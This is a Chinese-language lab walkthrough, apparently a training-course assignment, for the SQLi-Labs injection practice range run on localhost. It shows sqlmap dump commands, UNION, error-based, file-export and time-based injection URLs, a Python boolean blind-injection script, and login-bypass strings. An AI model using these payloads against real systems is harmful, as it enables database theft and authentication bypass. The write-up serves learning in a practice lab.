零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

文章来源 | MS08067 Web零基础就业班1期作业

本文作者:giunwr、tyrant(零基础1期)


SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:

fe0d5717ddaf021409756402e94d1781.png

一、作业描述

完成sqllibs前18关,尽可能使用多的方法

二、sqllibs安装和sqlmap的安装

(一)、sqllibs安装

把对应该文件放在网站根目录下面,打开配置文件,修改密码

7f682817a168025c05efaec075de9722.png同时在自己的数据库中,执行该文件里面的命令即可

77801ad158e91b54555ec10026bf6658.png安装成功后的效果

8a8673615379cad15e556604dfc0beb8.png
(二)、sqlmap安装

环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap

安装步骤:下载好工具后,解压

f35a83f708c1bee110f85954553f31bc.png

创建访问快捷方式:

桌面右键创建快捷方式3ab4ccca0947fd455bd5c5e6037cad3f.pngadb6e3b193496460fdd58b5c1cbefe12.png

964e55e1784091384267964a3362c50a.png

创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)

085d3e97fd112294a40a7aef893d5df2.png打开测试是否安装成功 python3 sqlmap.py -hf54b5c0a1a024ac5d748e04f376e271f.png

三、第一关

(一)、使用sqlmap工具注入

判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"

72a7359acdb2b9fe6ca6e59ffe128dee.png

找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db7be45b1f3e78896c9bfab6e75d0fd8d7.png

找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"108e5d579c523a8cd334343c0f564d5b.png

找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"dbc4b6408fc8b2ef0189d48ac5bc04e4.png

获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dumpf5db6ce125a41ec9c09819962e36ccda.png或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"83ccf4f89e3228d0a9ecdbb4a9c8a116.png

(二)、手动联合注入
  1. 判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")

6d7bc13a234ec3593b9e2d21b725d741.png2、判断列数 可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+88f8343341a6c5982e1565e880caec36.pnghttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+63b13781e55be3576490beec82a09e38.png

5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+d8eadf25a0bf8c80f71e02b159578650.png4、爆数据库 当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+0a86275ad04079ee830f618c45053a18.png5、爆表 有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+

6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+9c6f878ba962ea430d295df36318db87.png

7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+385f2c01e844799e31050f79b804420c.png

(三)、手动报错注入

爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+6546f9126ea45e889947379c0223a16d.png爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+dd1e26fe1630614841809f174c488dc3.png爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+5bc5da35ef9a8e7ec3f82c7748367f99.png爆数据 注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+cbe62d6abdbcd42796ea166b337e342d.png而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+93ab2b816cbced13a4e1ee13b8746cbc.png获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+15c0173015d61c14bd4d0eb39d18c021.png获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+32e0917e5b518f6c0d45e199bd06a261.png

四、第二关

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入edab1cb3694361df5e1227cb42f341be.pnghttp://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入

其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+

五、第三关

判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+ea5178d6d75db644fa47592366aaa1f8.png

六、第四关

判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111b45aab292ecffcd892eb00ae41650717.png

七、第五关

判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)61dd8892ba9c35ceff116c603f257553.png剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+7f6a29b1393e292130cbb0dd9b47fa9b.png

八、第六关

判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)1113f71833e52ba5b6b3071f51658299b97.png其余参考第一关报错注入

九、第七关

注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"

fc5eda8ce9d05e966a791002ae088c19.pngbe7c99f89b669b43d3356d1f1ff1d2a2.png

这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"d84de5e1414f883c65f6774fe749d6f6.png

手动注入判断注入类型:字符型注入 ?id=1'))

http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+bf3e895f9d22d25c515255a60a7f5c7c.png其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+

beb55c5cf5d9226e2c32e92ce431f70e.png

十、第八关

判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+543e7fe7ac0f902bd883615d6f546fde.png

可以看出报错和不报错的明显差别

4afb42c7392e886667eec5dff07fe304.png

使用布尔盲注 python脚本如下

import requests
import string
mystring = string.printable #所有可⻅字符
url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/'
# url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -'
url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
#         print((response.content))
#         print(url.format(count,char))
        if reply in str(response.content):
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
        print('result: '+result[0:-3])
        break
    count+=1

url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%2254523c37b74854b6db1924413265cc32.png执行效果如下

cf720e2cd9e5f2b32e2d2ff3955c7e87.png

十一、第九关

时间盲注

这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

c0f750fae8995cb7a8ed986384f53a12.png用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+396eee4e0be97962d6ad162731088b78.png

可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。

十二、第十关

时间盲注

这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入
0b5ad42043dda80264771e227f9284e9.png

十三、第十一关

万能密码

这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。
67ce6df50dcd99f233f5b9e553756251.png 00e024d52222e066a5fdb47a7003fd00.png 72168796a43d60e6578f09de7be51122.png

十四、第十二关

这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关
43b9636c42f1ba5b698bbff8dab69a48.png 8c19af76762dc83352c83bd08aa5b4f7.png

十五、第十三关

这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关
b3c3d3e331bfdf3294e34baf0eb10ad6.png 41180f8ed1d5388ae93d3e4ba2338e5f.png

十六、第十四关

这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关
32a23a0e4b5db3d31cc11ba9eba1da2d.png 6728d07eeb6b7f9342df80a532537b01.png

十七、第十五关

这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。
ee139f4277ef44e518104548eaa79d46.png

十八、第十六关

类似15关,猜测语句为1") or 1 #,顺利过关
9b246dd7089923ba2e538803e5ecd39d.png

57ae4bd52f6e31247af9742c26003842.png

—  实验室旗下直播培训课程  —

b80a433cffeb663e8e6b00c9a5afda61.jpeg

06491e41f1cb323c7a8f5a45bf92ec2a.jpeg686bae239096193d4fc3e97435049f81.png

406dc93fdc977bafd6b1ef70a566a067.jpeg

dc18bf3c3f9b925be567445b391545e1.jpeg

c8ff6e6a4218ed5761c3ce8e3a5faaad.jpeg

90dfa5de096273529e6463b38d490457.jpeg

b176001589e3f02e7807c8e3de68d570.jpeg


来和20000+位同学加入MS08067一起学习吧!

8830644a34142fa3a6c35a1ceeb6636d.gif

  • 9
    点赞
  • 65
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值